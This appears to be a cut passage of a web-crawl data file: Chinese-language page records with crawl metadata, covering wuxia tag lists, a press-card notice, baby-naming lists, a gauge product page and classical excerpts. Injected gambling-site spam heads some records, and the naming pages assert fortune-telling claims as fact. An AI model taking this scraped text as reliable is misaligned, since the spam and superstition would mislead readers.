日月神教 奪命簪 鄭丰 恆山派 聖火令 禿筆翁 武夷派 穿雲劍法 大圓滿杖法 星宿派 慕容博 丁不三 荊楚爭雄記 駱冰 阿珂 李秋水 孫權建國 伊達政宗 夏侯淵 蕭摩訶 降龍十八掌 不戒和尚 劉備稱帝 無想十法 古龍作品 夷陵之戰 陳近南 華山論劍 五毒神功 起風了 汪劍通 奕劍術 尉遲敬德 奇功絕藝榜 靈犀一指 牛郎一百零八棍 歐陽鋒 少林派 狼牙 邊荒傳說 絕情谷 夏侯惇 郭淮 周瑜 尹克西 大開碑手 不死七幻 桃幹仙 紫霞神功 大唐雙龍傳 范遙 太清元功 衛青 霍都 武田信玄 桃谷六仙 岳不羣 大意失荊州 曹操迎天子 李廣 飄香劍雨 段譽 張三李四 五行劍法 張春華 浣花洗劍錄 游坦之 李元霸 曹丕篡漢 彼岸劍訣 青城派 黯然銷魂掌 圓月彎刀 關興 火併蕭十一郎 蒼穹神劍 衛春華 空城計 左手刀法 天魔心法 九陽真經 諸葛誕 倉亭之戰 賈充 化石神功 桃葉仙 玉女素心劍法 伏魔劍法 程靈素 定閒師太 阿九 五絕神功 關平 竹節鞭 沙影二十八劍 挾刀揉手 崑崙派 迷蹤七變 化骨綿掌 流雲飛袖 耶律齊 孫皓暴政 滿天花雨 戚芳 武三通 呂蒙 黃天大法 關銀屏 空綁術 七殺手 辟邪劍法 丈八蛇矛 塌上策 合淝新城之戰 滅神掌 徐盛 青釭劍 合淝之戰 童子功十三太保橫練 黃蓉 雙手互搏 楊過 劍花煙雨江南 飛龍五式 水笙 趙志敬 凌波微步 群狐 趙雲 郭馬之亂 瘋魔上天下地一百零七撃 涼州軍劫天子 回轉斧法三十式 東興之戰 蔣濟 林平之 韓小瑩 曹操 飛刀,又見飛刀 毛玠 甘寧 雌雄雙股劍 怒劍狂花 徐晃 瀟湘子 劉禪 臥龍 白狼山之戰 風鈴中的刀聲 賈詡 亡神十八掌 楊修 孫尚香 玉女劍法 劍毒梅香 吳國太 黑鬼爪 官渡之戰 九品中正制 吳質 羊祜 玄氣大法 下邳之戰 三少爺的劍 楚留香新傳之新月傳奇 七流星 鐵脊蛇矛 蘇荃 荀彧 大武俠時代 長河正氣 殭屍拳 九陽神功 方證大師 笮融 公孫綠萼 曹真 移玉大法 歸魂十八爪 賈南風 雷霆刀法 七十二路分筋錯骨手 董卓 五帝鐧 心硯 鎖子縮骨功 吸星大法 蝶雙飛 洪承疇 鄧芝 藏密智能書 丁璫 張飛 九轉無相神功 曹丕伐吳 飛天狐狸 袁承志 南皮之戰 九月鷹飛 彩環曲 段正明 沐劍屏 甄姬 織女劍法 林遠圖 神君別傳 流星鎚 血海飄香 建安文學 街亭 魅影身法 護花鈴 魯有腳 傻姑 不死印法 法顯 彈指神通 地煞拳 尼摩星 伏養氣功 御盡萬法根源智經 北冥神功 柳絮劍法 劍客行 徐庶 少林神拳 天魔手七十二式 紫微軟劍 曾柔 荀攸 邊城浪子 馬皇后 鍾會 鴛鴦腿 孟獲 許褚 大手印 獨孤九劍 余滄海 林朝英 白玉老虎 李牧 日月當空 血戰十式 周伯通 死眷術 孤星傳 菊花的刺 魏延 子貴母死 神龍教 一燈大師 張郃 于禁 幻影劍法 換日大法 刑遁術 成昆 道心種魔大法 鍾繇 臥龍生 迎風一刀斬 滿寵 龐統 蔣四根 丁春秋 白阿繡 貝海石 楊逍 江南七怪 星际浪子 郭解 孫堅 曹仁 蔣幹 掃地僧 仇國論 金蛇劍 黑白子 李莫愁 封天閉地 枯木神功 鳩摩智 鳥渡術 華陀針 九轉還童 破精自絕大法 石破天 天地明環 梅花鉤 黃皓 雙修大法 諸葛恪 丞相,起風了 阿紫 吳起 布衣神相 馬謖 破碎虚空 井中八法 披風杖法 白骨爪 華山派 大拍手 陳到 楚留香新傳之蝙蝠傳奇 桃花島 徐天宏 劍氣書香 東方不敗 伏虎神拳 儀琳 文醜 郭襄 張苞 誰來跟我乾杯 覆雨翻雲 刀劍雙殺七七四十九式 多情劍客無情劍 左冷禪 神刀斬 東興之戰 刀白鳳 情人箭 七傷拳 慈航劍典 楚留香新傳 建寧公主 歸辛樹 石田三成 孫策 張角 左慈 桃根仙 諸葛瞻 桃枝仙 諸葛亮北伐 倚天劍 司馬師 韋一笑 丹青生 虛竹 合淝之戰 賭局 喬鋒 陸遜 金輪法王 程英 燕子三抄水 勞德諾 七星龍王 博望坡之戰 曹操攻徐州之戰 劍罡同流 八賢王 鳳天南 丁奉 石雙英 古龍 黃權 夏青青 胡斐 乾隆 上官鼎 譙周 一指頭禪 如意八打 西陵之戰 漢中之戰 曹睿 四大名捕 書劍恩仇錄 歸藏鞭 枯榮大師 九難 蒼穹十三式 阿朱 張三丰 男人見不得 夷陵之戰 變天擊地大法 的盧 周倉 劉備 奪命十三劍 神蛛凌空銀絲渡虛 黃忠 石亭之戰 關羽 一休 海大富 金針開穴之法 姜維 蕭逸 魔佛十式 袁紫衣 南匈奴 陳家洛 白馬嘯西風 高平陵之變 韋小寶 五虎斷門刀 諸葛亮南征 趙半山 田伯光 魅變術 天魔大法 木婉清 七禽身法 龐德 趙敏 寧中則 謝煙客 大旗英雄傳 夏侯霸 歡樂英雄 玄慈 長平公主 龜息功 飛龍大九式 馬大元 文鴦 夏侯嬰 索額圖 狂沙刀法 齊桓公 魏晉玄學 李典 丹心術 燕子雙飛 內家橫練 降龍伏虎羅漢拳 呂玲綺 華山派 急風十三刺 韋小寶 越女劍 達摩手 湘妃劍 吳三桂 尉遲恭 樂進 曹爽專權 碧血洗銀槍 屠龍刀 鄧艾 絕代雙驕 劍玄錄 奼女心法 余魚同 青松劍譜 碧血劍 曹叡 日月麗天大法 郭嘉 楊成協 清風十三式 大地飛鷹 少林三渡 桃花仙 翔鷹劍法 陽頂天 無念禪功 先天功 司馬昭 王重陽 方天畫戟 白萬劍 武當掌法 張遼 倪匡 韋春花 徐榮 馬忠 崆峒派 楊頂天 滿地開花八十—式 于萬亭 無崖子 沖虛道長 就地十八滾 捨身大法 枯禪玄功 定逸師太 碧落紅塵 楚留香新傳之借屍還魂 丞相 太虛錯手 達爾巴 呂母 金絲綿掌 界橋之戰 滅絕師太 韓當 黃蓋 龍門鏢局 黃鍾公 覆雨劍法 張召重 凝真九變 周泰 摘心手 袁紹 吳應熊 洪七公 硃砂掌 金錢幫 峨嵋派 橫煉罡 挾天子 葵花寶典 俠客行 七种武器 完顏洪烈 小昭 冰玄勁 狄雲 王語嫣 天涯明月刀 連城訣 貂蟬 王異 溫瑞安 江夏戰神 謝遜 海神 天魅凝陰 梵我如一 菩提心功 魔心連環 明珠 梁羽生 決戰前後 破蓮八著 五嶽劍派 魏滅蜀之戰 宗預 程普 流星蝴蝶劍 張無忌 潼關之戰 九陰真經 陸小鳳傳奇 合肥之戰 易京之戰 彭長老 戰神圖錄 任我行 隆中對 慕容復 大喬 陸抗 神州奇俠 金剛門 梅花鉤 馬岱 常赫志 泰山派 炎陽奇功 丐幫 炎元真氣 晉滅吳之戰 天山童姥 絕代雙驕角色列表 武當派","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.herostory.tw\/alltags","date":"2019-07-17T17:32:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525355.54\/warc\/CC-MAIN-20190717161703-20190717183703-00280.warc.gz","language":"lzh","language_score":0.5900577903,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900577902793884, \"nan_Hani_score\": 0.25269433856010437, \"cmn_Hani_score\": 0.12175001949071884, \"yue_Hani_score\": 0.03296069800853729}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"湖北快三今天开奖号 www.njaed.icu 根據國家新聞出版廣電總局《關于開展新聞記者證2017年度檢驗工作的通知》精神和《新聞記者證管理辦法》的有關規定,我單位對已申領記者證人員的資格進行嚴格審核,現將我單位擬核驗新聞記者證人員名單進行公示,公示期2018年2月25日——3月6日。\n舉報電話: 0351—8301535 8302514\n擬核驗新聞記者證名單:\n蘇 靜 張民陽 胡東莉 趙 衛 梁乂川 張志偉 張 靜 田吉隆 高 華 劉 芬 孫宏文 高 麗 王 超 薛振宇 宋保軍 邱吉龍 王建勇 王建忠 郭志國 武振宇 米永平 宿彩清 楊清蓮 董建麗 陳潤蓮 焦富厚 劉艷青 吳曉麗 崔素英 李小菲 賈秋香 李建中 盧美榮 劉靜冰 劉春燕 邢 瑞 秦 霞 李子君 張雅杰 付未霞 候 蓓 路 娜 王志偉 王 霞 栗旭晨 張青山 林全玉 張幼東 賀補龍 姬永田 郭白利 亢鳳蓮 張 軍 白宇飛 石建卿 何 瑜 沈明非 藺利萍 雷靜芳 亢麗艷 王培珍 曾江輝 申樹榮 王秋玲 張國忠 崔秀魚 高嵐霞 侯惠珍 趙 婕 張新良 朱淑茹 董靜清 韓生平 王伯文 劉錦秀 武 東 趙亞民 賈劍秋 賀曉麗 崔麗萍 劉丑珍 郭麗虹 白貴琴 范躍平 劉 慧 申竹梅 劉滿成 郝虎偉 關麗娟 賈春香 程 艷 陳 虎 黨宏偉 郭利萍 鄧潤恩 董瑞軍 張曉燕 呂 寧 周國卿 安樹鋆 郝志紅 劉小燕 王 勇 薛紅梅 張國云 陳建明 劉 鑫 趙 敏 杜俊武 張永紅 杜林平 孔祥蔚 黃金龍 趙一婷 曹帥東 馮耀芳 郝偉明 崔瑞峰","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www.njaed.icu\/ratele\/2018-02\/25\/cms59007article.shtml","date":"2019-10-14T13:43:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986653247.25\/warc\/CC-MAIN-20191014124230-20191014151730-00293.warc.gz","language":"lzh","language_score":0.6624749303,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6624749302864075, \"cmn_Hani_score\": 0.28155088424682617, \"nan_Hani_score\": 0.047535885125398636}","num_words":146,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.296,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.732,"perplexity_score":500.0,"cluster_detection":1} +{"text":"五行缺土余姓起名\n那么余姓五行缺土如何起名才好呢?接下来有起名网提供了一些带土属性的余姓名字,那么可以用五行属土的字来给宝宝起名,父母们不妨给宝宝佩戴一枚\"金福和田玉平安扣\",男孩名字 女孩名字这样起到的名字就更能辅助宝宝平安成长。\n先根据宝宝的生辰八字算出其命相,余容珍 余幽茜 余意涵 余秋华 余婉诗 余玉婉 余歆璐 余尔琴 余安蕾 余傲芙 余依婷 余婉玉 余琼燕 余韵雪 余惠娴 余艳芳 余艳慕 余盼夏 余韵灵 余艳娇 余韵诗 余雅韵 余燕秋 余晓燕 余玉琦 余珑玥 余宛茹 余欣怡 余丽影 余阳玲 余佳音 余曼玉 余优雅 余书萱 余君燕 余佩玲 余坤兰 余坤玲 余嘉怡 余垭兰 余瑾瑕 余依柔 余静舞 余晓岚 余琦珍 余佑怡 余琨瑶 余诗音 余琪华 余琳宇 余雪慧 余琼薇 余诗韵 余海瑛 余昕怡 余宛秋 余玲容 余瑰颖 余珊珊 余珠玉 倘若家里条件允许的话,不妨参照《徐氏五行命相学》来起。一般来说,可以驱恶辟邪、养身护体。宝宝缺的五行在与喜用神相害的情况下,为了能让自己的宝宝更加健康、平安、快乐地长大成人,如果宝宝是徐墨斋居士说的\"阴命金相人\",否则反而会带来不好的影响。而宝宝五行缺土,各位余姓宝宝的父母可以来参考参考: 余宏伟 余文嘉 余逸君 余任平 余浩轩 余逸辰 余翰晖 余天宥 余翔实 余桓宇 余志信 余永康 余知博 余卫晨 余泰奇 余永靖 余泽易 余昊磊 余圣杰 余君信 余容翰 余运翔 余容基 余恩俊 余德勋 余颐志 余韵辰 余阳焱 余文逸 余阳文 余依城 余德宇 余运佳 余旭玮 余靖宇 余玮明 余德民 余逸轩 余嘉宥 余宏轩 余坤厚 余亦坤 余君磊 余培杰 余君磊 余培俊 余培明 余智恩 余培智 余昌俊 余俊宇 余琦玮 余仁豪 余天德 余琼华 余伟庭 余瑰玮 余玮嘉 余桦辰 余瑜璟 余姓五行缺土起名 余姓父母若想给宝宝起个更符合其五行命理的名字,是不需要弥补的,五行喜土、金,\n关键词: 周易起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.van46.com\/zhouyiqiming\/549.html","date":"2019-12-06T02:35:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540484477.5\/warc\/CC-MAIN-20191206023204-20191206051204-00222.warc.gz","language":"lzh","language_score":0.4866854548,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48668545484542847, \"cmn_Hani_score\": 0.43541184067726135, \"nan_Hani_score\": 0.06634487956762314}","num_words":128,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.706,"perplexity_score":500.0,"cluster_detection":1} +{"text":"汉字\"子\"字其实放在男女的名字里都是合适的,因为\"子\"字本义就是\"儿女\",那么一起来看看怎么用子字给女孩取一个带诗意好听且能拿最高分的名字呢?\n子字字典字义:\n子:本义为儿女,同有君子、骄子,也指天之骄子、有学问、有德行的人。部首五行属水;数理五行属火。\n子81数理:(吉祥):进取如意的增进繁荣数。\n1.姓氏子字。\n2.古代指儿女,现专指儿子:子女、子孙、子嗣。\n3.植物的果实 种子:菜子、瓜子儿。\n4.幼小的,小的:子鸡、幼子。\n5.小而硬的颗粒状的东西:子弹、棋子。\n6.与\"母\"相对:子母、子音(辅音)。\n7.对人的称呼:男子、妻子、才子、厨子。\n8.古代对人的尊称;称老师或称有道德 有学问的人:孔子、先秦诸子。\n9.地支的第一位,属鼠:子丑寅卯(喻有条不紊的层次或事物的条理)。\n10.用于计时:子时(夜十一点至一点)、子夜。\n11.封建制度五等爵位的第四等:子爵。\n用作人名寓指:人中龙凤 品行端正 淑质英才等。\n带子字好听诗意最高分的女孩名:\n笉子 芊子 薇子 淑子 琳子 芬子 沁子 媛子 姬子 璐子 歆子 姝子 晗子\n萱子 莺子 婷子 莉子 瑶子 荟子 妍子 梦子 卉子 伊子 依子 慧子 瑗子\n滢子 采子 璇子 伶子 汐子 艳子 佳子 露子 颖子 湘子 嫱子 雅子 忆子\n蕊子 苑子 娅子 凝子 纤子 妙子 素子 馨子 晴子 诗子 莎子 玲子 歆子\n娟子 曼子 欢子 铃子 芸子 恬子 兰子 英子 纯子 菱子 珊子 樱子 茵子\n思子 嫣子 静子 倩子 敏子 菡子 灵子 巧子 芮子 蔓子 芃子 芹子 娇子\n柳子 钰子 欣子 娜子 娴子 冰子 瑛子 芳子 丽子 丹子 珍子 艺子 念子\n秋子 茜子 琬子 惠子 婧子 婥子 琳子 羽字 芬子 樱子 萤子 蒽子 菡子\n子柠 子俐 子曼 子筠 子雅 子蓓 子溪 子娜 子菁 子汝 子珺 子玥 子芸\n子熙 子苒 子薇 子华 子碧 子楠 子诗 子娅 子婕 子美 子晶 子茹 子倩\n子娴 子思 子育 子琬 子芮 子卿 子斯 子芊 子可 子安 子懿 子璐 子婉\n子斐 子仪 子艳 子佩 子沅 子兰 子灿 子妤 子瑷 子丹 子莎 子佳 子瑶\n子姬 子丽 子珏 子爽 子露 子棠 子颖 子菡 子淑 子悠 子淇 子樱 子楠\n子夕 子婷 子妍 子晴 子姝 子珊 子怡 子琳 子歆 子妙 子恬 子娇 子珍\n子慕 子畅 子婧 子姗 子若 子月 子琪 子卓 子瞳 子依 子缘 子悠 子媱\n子渝 子瑶 子柔 子萱 子玥 子妤 子霏 子艺 子艳 子馨 子晓 子颜 子婥\n以上就是关于\"女孩名字有带子最高分_子配什么字好听女孩_女孩名字诗意带子字\"的全部回答,希望能帮助到您!","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.2020dhw.com\/q-168742.html","date":"2021-04-15T05:53:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038083007.51\/warc\/CC-MAIN-20210415035637-20210415065637-00047.warc.gz","language":"lzh","language_score":0.4446749687,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4446749687194824, \"nan_Hani_score\": 0.3247436583042145, \"cmn_Hani_score\": 0.22389429807662964}","num_words":230,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.305,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.524,"perplexity_score":500.0,"cluster_detection":1} +{"text":"超聲波鋼瓶液位儀PLI-1 船檢專用 中國總代理\n型號: PLI-1\n關鍵字: 卡拉斯鋼瓶液位儀,消防CO2液位儀,廈門超聲波液位儀 ,鋼瓶液位儀\n詳細描述\nPLI-1 便攜式液位儀能迅速﹑準確地測量二氧化碳﹑全溴氟烴(哈龍)等的液\/氣位置。\n此儀器只有兩個控制鍵,簡單易操作. 用於測試鋼瓶內鹵素,CO2和其他液體的液位,因而,不必將鋼瓶從架 上拆下,再放到磅秤上稱重。\nGAIN 鍵可以根據罐筒壁尺寸,液化氣類型等調整響應時間.\n主功能選擇鍵控制電源開關等.\n此儀器配套有一個便攜箱.\n完整的PLI-1液位儀包括:\n其它船用檢測儀器:\n紅外線測溫儀 點擊進入\n超聲波測厚儀 點擊進入\n里氏硬度計 點擊進入\nCo2鋼瓶液位檢測儀 點擊進入\n信固2超聲波測厚儀 信固探頭 點擊進入\n酒精檢測儀 點擊進入\n點擊回到網站首頁 進入首頁\n銷售區域:北京 天津 上海 重慶 河北 石家莊 邯鄲邢台 保定 張家口 承德 唐山 秦皇島 滄州 廊坊 衡水 福建 福州 廈門 三明 莆田 泉州 漳州南平 寧德 龍岩 江西 南昌 景德鎮 新余 九江 鷹潭 上饒宜春 臨川 吉安 贛州 山東 濟南 青島 淄博 濰坊 煙台 威海 兗州 日照 德州 鄆城縣 山西 太原大同 陽泉 長治 朔州 榆次 孝義 臨汾 運城 內蒙 呼和浩特包頭 巴林左旗 二連浩特 滿洲里 通遼 准格爾旗 烏蘭浩特 河南 鄭州 開封 洛陽 新鄉 濮陽 商丘南陽 周口 汝南縣 遼寧 瀋陽 大連 鞍山 撫順 本溪 丹東錦州 營口 阜新 遼陽 鐵嶺 湖北 武漢 黃石 襄樊 十堰 宜昌 荊門 孝感 黃岡 恩施 荊 沙 吉林長春 吉林 四平 遼源 通化 臨江 大安 敦化 琿春 湖南長沙 株州 湘潭 衡陽 岳陽 常德 郴州 益陽 冷水灘 懷化 張家界 黑龍江 哈爾濱 齊齊哈爾 大慶伊春 牡丹江 佳木斯 緩化 漠河縣 黑河 廣東 廣州 深圳珠海 汕頭 韶關 惠州 東莞 中山 佛山 湛江 江蘇 南京 徐州 連雲港 淮安 宿遷 鹽城 揚州 南通鎮江 常州 無錫 蘇州 常熟 廣西 南寧 柳州 桂林 梧州北海 欽州 海南 海口 三亞 儋州 四川 成都 攀枝花 德陽 綿陽 自貢 內江 樂山 瀘州 宜賓 浙江杭州 寧波 嘉興 湖州 紹興 金華 衢州 舟山 溫州 台州貴州 貴陽 遵義 安順 六盤水 安徽 合肥 淮南 蚌埠 馬鞍山 安慶 黃山 滁州 宿州 巢湖 宣州 雲南昆明 昭通 曲靖 江川 思茅 麗江縣 開遠 楚雄 陝西西安 銅川 寶雞 渭南 商州 西藏 拉薩 日喀則 仁布縣 丁青縣 阿里地區 甘肅 蘭州 金昌 天水 平涼玉門 敦煌 青海 西寧 平安縣 格爾木 瑪沁縣 寧夏銀川 石嘴山 青銅峽 海原縣 新疆 烏魯木齊 克拉瑪依 吐魯番 喀什 阿圖什 庫爾勒淄博,濱州,東營,濰坊,泰安,萊蕪,臨沂,日照,德州,聊城,濟寧,濟南,煙台,青島,威海龍口青州","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/tc.diytrade.com\/china\/pd\/9175955\/%E8%B6%85%E8%81%B2%E6%B3%A2%E9%8B%BC%E7%93%B6%E6%B6%B2%E4%BD%8D%E5%84%80PLI_1%E8%88%B9%E6%AA%A2%E5%B0%88%E7%94%A8.html","date":"2019-10-13T23:26:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986648343.8\/warc\/CC-MAIN-20191013221144-20191014004144-00020.warc.gz","language":"lzh","language_score":0.4442103505,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44421035051345825, \"cmn_Hani_score\": 0.38173577189445496, \"nan_Hani_score\": 0.15266254544258118, \"yue_Hani_score\": 0.01620951108634472}","num_words":267,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.551,"perplexity_score":500.0,"cluster_detection":1} +{"text":"糖果派对娱乐网址安倍晋三日本疫情短时间内有可能扩大暂不会发布紧急事态宣言\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n申子、韩子皆著书,传於後世,学者多有。余独悲韩子为说难而不能自脱耳。\n少君言於上曰:\"祠灶则致物,致物而丹沙可化为黄金,黄金成以为饮食器则益寿,益寿而海中蓬莱仙者可见,见之以封禅则不死,黄帝是也。臣尝游海上,见安期生,食臣枣,大如瓜。安期生仙者,通蓬莱中,合则见人,不合则隐。\"於是天子始亲祠灶,而遣方士入海求蓬莱安期生之属,而事化丹沙诸药齐为黄金矣。\n桀败於有娀之虚,桀奔於鸣条\n其明年,新垣平使人持玉杯,上书阙下献之。平言上曰:\"阙下有宝玉气来者。\"已视之,果有献玉杯者,刻曰\"人主延寿\"。平又言\"臣候日再中\"。居顷之,日卻复中。於是始更以十七年为元年,令天下大酺。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/mobile.sharecut.com\/itVIQ\/80427.html","date":"2020-03-28T20:40:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370493120.15\/warc\/CC-MAIN-20200328194743-20200328224743-00274.warc.gz","language":"lzh","language_score":0.5052816868,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5052816867828369, \"cmn_Hani_score\": 0.25472307205200195, \"nan_Hani_score\": 0.10626600682735443, \"wuu_Hani_score\": 0.020338432863354683, \"yue_Hani_score\": 0.01318634208291769, \"zxx_Latn_score\": 0.013092974200844765}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.446,"perplexity_score":500.0,"cluster_detection":1} +{"text":"周姓男宝宝五格满分(高分)名字大集合周益庆 周敬尊 周楷智 周熙杰 周敬朝 周轩锋 周益锐 周展兴 周川尧 周鼎渊 周鼎盛 周熙智 周晋欧 周祺超 周城德 周熙博 周益磊 周敬理 周祺顺 周哲逸 周新博 周熙顺 周楷渊 周轩毅 周新雄 周新栋 周圣智 周书贤 周敬捷 周伦庆 周晋磊 周轩锐 周圣景 周晋庆 周楠云 周峻毅 周鼎翔 周川智 周哲贤 周益辉 周新杰 周川盛 周琪云 周益德 周川云 周修德 周靖云 周敬博 周圣尧 周楷尧 周楷栋 周祺杰 周晋辉 周圣清 周敬寒 周育辉 周楠智 周琪栋 周新顺 周楠顺 周轩兴 周鼎顺 周敬清 周敬凯 周川凯 周熙尧 周新乔 周敬盛 周圣乔 周峻庆 周鼎棋 周靖翔 周展逸 周琪皓 周熙捷 周新盛 周楷翔 周熙闲 周益兴 周峻霄 周鼎皓 周裕皓 周圣超 周熙云 周新闲 周益逸 周川棕 周楠杰 周祺凯 周轩标 周展磊 周鼎智 周川博 周益贤 周琪渊 周楷胜 周楷盛 周新翔 周楷皓 周楷顺 周哲磊 周书磊 周圣闲 周伦德 周晋贤 周新皓 周靖闲 周伦欧 周圣云 周莫闲 周熙清 周楷杰 周展欧 周琪超 周敬翔 周敬皓 周新渊 周楷博 周楷超 周川钦 周峻逸 周哲霄 周圣棋 周新云 周展毅 周圣捷 周展贤 周哲德 周鼎雄 周圣博 周轩德 周哲兴 周育德 周峻贤 周峻磊 周敬尧 周轩啸 周鼎超 周裕尧 周鼎博 周晋毅 周熙皓 周敬善 周峻辉 周展德 周晋兴 周千尧 周熙盛 周川翔 周靖杰 周圣杰 周鼎寒 周川斯 周千皓 周圣盛 周川栋 周千超 周川皓 周熙寒 周峻德 周千杰 周敬杰 周靖博 周轩乐 周伦辉 周新尧 周书乐 周敬云 周峻兴 周圣栋 周敬棕 周裕博 周轩磊 周鼎胜 周楠博 周展辉 周圣皓 周新景 周祺云 周裕杰 周楷闲 周敬栋 周敬普 周伦逸 周楠胜 周轩逸 周哲欧 周琪胜 周川乔 周哲庆 周新朝 周益毅 周晋逸 周靖渊 周敬钦 周鼎凯 周靖栋 周熙栋 周敬渊 周琪景 周楠雄 周晋德 周熙胜 周书辉 周书逸 周新捷 周容德 周楠栋 周书宇 周展帆 周哲帆 周哲旭 周峻宇 周哲舟 周哲全 周轩宇 周哲西 周展光 周轩舟 周晋舟 周展向 周晋年 周益吉 周轩年 周展宇 周益光 周晋全 周书吉 周轩全 周展舟 周晋宇 周晋名 周伦旭 周城名 周益全 周轩光 周益舟 周晋向 周晋光 周哲宇 周伦帆 周伦舟 周峻舟 周展羽 周书旭 周哲光 周轩羽 周千轩 周圣峰 周熙腾 周熙瀚 周川峻 周熙晋 周靖洋 周展玄 周楷哲 周熙展 周熙刚 周鼎伦 周新刚 周熙轩 周鼎峻 周敬洪 周裕伦 周千峻 周圣耀 周烟轩 周新耀 周敬刚 周新哲 周敬恩 周熙耀 周裕瀚 周靖刚 周琪轩 周展平 周新腾 周哲玄 周川耀 周轩平 周裕轩 周敬哲 周新凌 周琪洋 周晋永 周川洪 周新恩 周修古 周修永 周轩石 周楠耿 周圣轩 周圣哲 周祺轩 周楠轩 周敬原 周川轩 周鼎哲 周鼎庭 周川刚 周敬书 周靖高 周敬峰 周鼎城 周祺书 周敬庭 周祺宝 周熙宝 周祺峰 周楠耀 周哲永 周楷刚 周琪晋 周圣刚 周熙高 周川哲 周裕峻 周楷峰 周川凌 周新原 周敬洋 周熙耿 周川庭 周圣腾 周展弘 周楠峻 周敬祖 周凌冬 周圣原 周楠瀚 周新高 周益平 周敬瀚 周熙城 周熙峻 周圣恩 周敬腾 周圣瀚 周峻弘 周川瀚 周新峻 周楷原 周鼎刚 周熙原 周鼎恩 周敬伦 周熙凌 周鼎高 周敬高 周鼎瀚 周敬烈 周游城 周琪哲 周川祖 周轩民 周琪峻 周伦世 周楷峻 周熙哲 周敬城 周敬峻 周轩永 周靖轩 周圣峻 周千凌 周川峰 周新瀚 周新耿 周益弘 周晋玄 周煜城 周圣高 周圣恒 周哲民 周哲平 周书弘 周熙恩 周裕哲 周靖哲 周鼎益 周敬恒 周敬壤 周熙庭 周鼎原 周楷瀚 周鼎轩 周新晋 周敬轩 周楠哲 周楷腾 周新洋 周靖凌 周楠松 周敬颜 周鼎丰 周敬凡 周裕涛 周靖松 周新川 周敬丰\n『Dishen.com』文章,未经允许不得♂转载♂!","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/www.qimingzi.org\/baijiaxingqiming\/19952.html","date":"2021-01-26T12:07:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704799741.85\/warc\/CC-MAIN-20210126104721-20210126134721-00278.warc.gz","language":"lzh","language_score":0.8496438265,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8496438264846802, \"nan_Hani_score\": 0.14974947273731232}","num_words":401,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.847,"perplexity_score":500.0,"cluster_detection":1} +{"text":"담헌서\/내집 